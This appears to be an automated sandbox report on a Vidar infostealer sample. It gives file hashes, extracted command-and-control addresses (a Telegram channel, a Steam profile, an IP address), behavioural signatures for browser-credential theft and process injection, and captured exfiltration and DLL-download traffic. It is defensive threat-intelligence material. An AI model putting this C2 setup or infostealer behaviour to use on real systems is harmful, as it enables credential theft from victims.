Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16/09/2024, 14:34 UTC

General

  • Target

    file.exe

  • Size

    283KB

  • MD5

    e2cd52e91edffa873b4e1630684ea6c6

  • SHA1

    dcbb5971ecb7353062ed294f6d867da2bb179975

  • SHA256

    3d9855fcc2f225022896fb91724692a925354adee0985c94e18db195fa7c08e1

  • SHA512

    e59f885e6424860e6d0cfebc8e712f1929cbc029e63f49c22c3623af268c2c537089779cf06a1b91d355aac8c6c21aaf66db0044031d09d1fc88d0196fbfe7f6

  • SSDEEP

    6144:tFOUZ4uCh3Nc+8iakTqQ7G1fN6bSBvFIIv1vxklTXfRI4EBIGZ5EO:SUSuCj8iHjiNGkFfxxW64EBIGZ5EO

Malware Config

Extracted

Family

vidar

C2

https://t.me/edm0d

https://steamcommunity.com/profiles/76561199768374681

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0

Signatures

  • Detect Vidar Stealer 10 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Downloads MZ/PE file
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:588
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      PID:1692

Network

  • flag-us
    DNS
    t.me
    RegAsm.exe
    Remote address:
    8.8.8.8:53
    Request
    t.me
    IN A
    Response
    t.me
    IN A
    149.154.167.99
  • flag-us
    DNS
    steamcommunity.com
    RegAsm.exe
    Remote address:
    8.8.8.8:53
    Request
    steamcommunity.com
    IN A
    Response
    steamcommunity.com
    IN A
    104.82.234.109
  • flag-gb
    GET
    https://steamcommunity.com/profiles/76561199768374681
    RegAsm.exe
    Remote address:
    104.82.234.109:443
    Request
    GET /profiles/76561199768374681 HTTP/1.1
    Host: steamcommunity.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
    Expires: Mon, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-cache
    Date: Mon, 16 Sep 2024 14:34:18 GMT
    Content-Length: 34786
    Connection: keep-alive
    Set-Cookie: sessionid=76adafa2086df304fe3f94c4; Path=/; Secure; SameSite=None
    Set-Cookie: steamCountry=GB%7C0cca5b35055ce513436d8b708d875660; Path=/; Secure; HttpOnly; SameSite=None
  • flag-de
    GET
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:19 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 256
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:20 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:21 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:22 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 332
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:22 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 4801
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:25 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    GET
    https://78.47.207.136/sqlp.dll
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    GET /sqlp.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:25 GMT
    Content-Type: application/octet-stream
    Content-Length: 2459136
    Connection: keep-alive
    Last-Modified: Monday, 16-Sep-2024 14:34:25 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    POST
    https://78.47.207.136/
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----FHCAFIDBKEBFCBFIIIII
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Content-Length: 437
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:28 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    GET
    https://78.47.207.136/freebl3.dll
    RegAsm.exe
    Remote address:
    78.47.207.136:443
    Request
    GET /freebl3.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0
    Host: 78.47.207.136
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Mon, 16 Sep 2024 14:34:28 GMT
    Content-Type: application/octet-stream
    Content-Length: 685392
    Connection: keep-alive
    Last-Modified: Monday, 16-Sep-2024 14:34:28 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • 149.154.167.99:443
    t.me
    tls
    RegAsm.exe
    385 B
    219 B
    5
    5
  • 149.154.167.99:443
    t.me
    tls
    RegAsm.exe
    347 B
    219 B
    5
    5
  • 149.154.167.99:443
    t.me
    tls
    RegAsm.exe
    288 B
    219 B
    5
    5
  • 149.154.167.99:443
    t.me
    RegAsm.exe
    190 B
    92 B
    4
    2
  • 104.82.234.109:443
    https://steamcommunity.com/profiles/76561199768374681
    tls, http
    RegAsm.exe
    1.5kB
    42.2kB
    24
    37

    HTTP Request

    GET https://steamcommunity.com/profiles/76561199768374681

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.5kB
    2.1kB
    10
    8

    HTTP Request

    GET https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.3kB
    1.1kB
    9
    8

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.3kB
    2.3kB
    8
    8

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.4kB
    6.5kB
    10
    11

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.3kB
    810 B
    8
    7

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    6.0kB
    818 B
    12
    10

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/sqlp.dll
    tls, http
    RegAsm.exe
    48.1kB
    2.5MB
    1016
    1834

    HTTP Request

    GET https://78.47.207.136/sqlp.dll

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/
    tls, http
    RegAsm.exe
    1.4kB
    674 B
    6
    6

    HTTP Request

    POST https://78.47.207.136/

    HTTP Response

    200
  • 78.47.207.136:443
    https://78.47.207.136/freebl3.dll
    tls, http
    RegAsm.exe
    11.1kB
    496.1kB
    228
    361

    HTTP Request

    GET https://78.47.207.136/freebl3.dll

    HTTP Response

    200
  • 8.8.8.8:53
    t.me
    dns
    RegAsm.exe
    50 B
    66 B
    1
    1

    DNS Request

    t.me

    DNS Response

    149.154.167.99

  • 8.8.8.8:53
    steamcommunity.com
    dns
    RegAsm.exe
    64 B
    80 B
    1
    1

    DNS Request

    steamcommunity.com

    DNS Response

    104.82.234.109

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabA46C.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarA578.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/588-0-0x00000000741AE000-0x00000000741AF000-memory.dmp

    Filesize

    4KB

  • memory/588-1-0x0000000000290000-0x00000000002DA000-memory.dmp

    Filesize

    296KB

  • memory/588-14-0x00000000741A0000-0x000000007488E000-memory.dmp

    Filesize

    6.9MB

  • memory/1692-5-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-16-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-8-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-7-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-6-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-13-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-4-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-11-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1692-3-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-157-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-193-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-196-0x0000000020260000-0x00000000204BF000-memory.dmp

    Filesize

    2.4MB

  • memory/1692-210-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/1692-254-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

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